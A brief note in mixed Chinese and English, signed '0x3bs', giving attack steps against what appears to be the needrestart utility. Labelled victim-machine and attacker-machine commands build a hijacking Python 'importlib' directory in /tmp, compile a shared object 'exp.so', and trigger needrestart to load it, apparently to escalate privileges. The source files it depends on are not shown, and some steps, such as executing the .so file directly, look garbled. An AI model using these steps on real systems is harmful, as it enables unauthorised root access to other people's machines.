hello this is 0x3bs
在受害者机器上:
set -e
cd /tmp
# 1. Create the malicious module directory structure
mkdir -p malicious/importlib
在攻击者机器上
to compile lib.c in attacker machine :
gcc -shared -fPIC -o exp.so lib.c
在受害者机器上:
in /tmp
chmod +x run.sh
in /tmp/malicious/importlib :
chmod +x exp.so
./exp.so
# try to run it after run 'run.sh' if it didn't work
in /tmp
./run.sh
然后在另一个会话中运行 needrestart
注意 >> exp.so 必须位于 /tmp/malicious/importlib